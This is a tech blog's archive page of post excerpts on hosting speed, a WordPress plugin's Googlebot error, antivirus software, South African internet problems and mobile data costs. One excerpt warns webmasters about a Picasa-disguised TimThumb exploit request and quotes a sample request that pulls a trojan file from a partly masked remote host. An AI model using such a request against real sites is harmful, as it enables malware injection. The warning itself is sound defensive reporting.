Category Archives: TECH NOTES
Website Slow – Look to Your Server
When we find problems with our website speed, we look at our website system – Right? We (those of us on shared hosting anyway) have been conditioned by our service providers to think whenever our sites are running slow, it’s our code that’s the problem, not the server provided by the hosting company the site is running on.
Well, sometimes it is. But then again, often it’s not.
When is it the Server?
There are some circumstances when the server is nearly always the problem. Let’s look at some clues:
Googlebot Error with WPOnlineStore Plugin
Googlebot triggers a PHP Fatal Error ‘function.require‘ error causing the bot to receive a “500″ internal server error when trying to crawl the pages created by the WordPress WPOnlineStore plugin. In my previous post I mentioned this ongoing problem. Today I can provide some additional information.
The problem is not unique to my shop site; initial searches of the internet found only a few references to this problem. for the past two days the hosting company server engineers have been looking into the problem, unfortunately without any success. After disabling Apache mod_secure settings, which appeared to be causing the error, Googlebot still triggered this error. As previously mentioned in Googlebot has Problems with WPOnlineStore, it is only Googlebot – and there lies the first clue.
Microsoft Security Essentials Under Microscope
A look at Microsoft Security Essentials, the free anti-virus application from Microsoft. Is Microsoft Security Essentials any good? Will it protect a Windows PC from most common threats? Can MSE compete with commercial security applications?
Over the next few months we will see.
Annoyed with Commercial AV Software.
I have become increasingly annoyed with commercial anti-virus applications. They have become overpriced, use too much system resources, interfere with other applications, or slow down internet access. Worse still, none of the apps are able to detect every virus or malware… An example is Trojan Generic 24, which seems to be only detected by AVG (but doesn’t stop or remove it). Trend Micro Titanium and Norton AV don’t find all versions of this dangerous trojan.
Hackers Using Picasa Spoof for Web Malware
Strange looking referer URLs and GET requests that appear to be Picasa are being used by hackers to find website vulnerabilities to inject malware or spam. Examining the details of the referer reveals something like this example /wp-content/themes/biznizz/thumb.php?src=http://picasa.com.jcibuenos*****.com.ar/2.php (stars replace the actual characters in string for your safety – leads nowhere). This particular example will inject malware using the WordPress TimThumb exploit. The file 2.php contains a trojan horse!
Picasa is of course picasa.google.com, but the similarity can lead the unwary to disregard the source. These strings are typically long, similar in appearance to a Google search request string. Any URL containing this odd string (or similar) should be regarded as extremely suspicious, and the IP should at least be checked for known bad behaviour and blocked from accessing the website. The string is often seen along with WordPress TimThumb exploit attempts.
Data Bundle Overload: End to Free Mobile Data
It looks like mobile data users at the Southern tip of Africa are not the only ones looking at paying high prices for data bundles (or buckets as they are known in some locales). The USA is joining the trend of charging for mobile data. Down South we have never known the privilege of free mobile data, having some of the highest data cost per GB in the world – at least when compared to first world civilisation.
The Data Crunch
The end of free mobile data is no real surprise. The RF frequencies used to carry this traffic are limited in capacity, new compression technology can only go so far to reduce the load on these channels. Urguably more frequencies could be made available, however these would have to be in higher frequency bands than are currently used. Increasing RF frequency brings it’s own problems – higher frequencies (into the mid and high Ghz region) suffer more loss from inclement weather signal absorption from structures, components cost more, and we have to consider the human health related dangers of microwave radiation.
Three Weeks of Internet Frustration
That’s my lot these past three weeks; the net has been bad. Latency rate high, intermittent connections, slow, frustrating. And of course work is piling up. These past weeks have been a battle – even writing a post for this blog has been a trial of persistence. Even the WordPress auto-save function has been affected.
Maybe it’s over; Yesterday was not to bad, today I haven’t been disconnected once, yet!
A Nationwide Concern
It’s not only me – South African internet has been bad everywhere. And of course the people managing the service causing the bottleneck are saying nothing. What I have been able to deduce using the internet tools available, is the Telkom ADSL network has been the cause. At some point 99% of all local internet traffic is carried by Telkom for part of the route. The ADSL routers have been dropping up to 100% of data packets, a fact I mentioned a week ago in an article on graphicline.co.za (Telkom Internet Routing Causing Problems).
Updating Old Blog Posts and Web Pages
The updating of old published posts and pages is a somewhat controversial topic. Some bloggers feel it is wrong to update a published article, others do it regularly. I am one of the group who updates content in posts and pages whenever I find a reason (and the time) to do so.
Updating Old Posts is Good for SERP
Google now looks for “FRESHNESS” as one of the criteria for SERP (Search Engine Results Placement), the position a page or post will get. Fresher content gets favoured over old content. A new post may initially be placed high in their results, then overtime this will drop off, eventually fading into obscurity.
Give your older posts a new life by updating them. Sometimes when I go back to older articles I find the information is out of date, fresh knowledge or developments may need changes to the content to make the information more accurate…
Articles are often posted with unnoticed errors. I don’t mean incorrect information, just the small things like spelling mistakes and grammatical errors – both of which will lose ranking to Google’s algorithm. Even the way we have written an article can often be improved after some time has passed, and we go back and check the content we thought at the time had been so great. With a fresh look at these older posts, we can often see ways to re-write parts (or all) of the content to make it more readable for our visitors.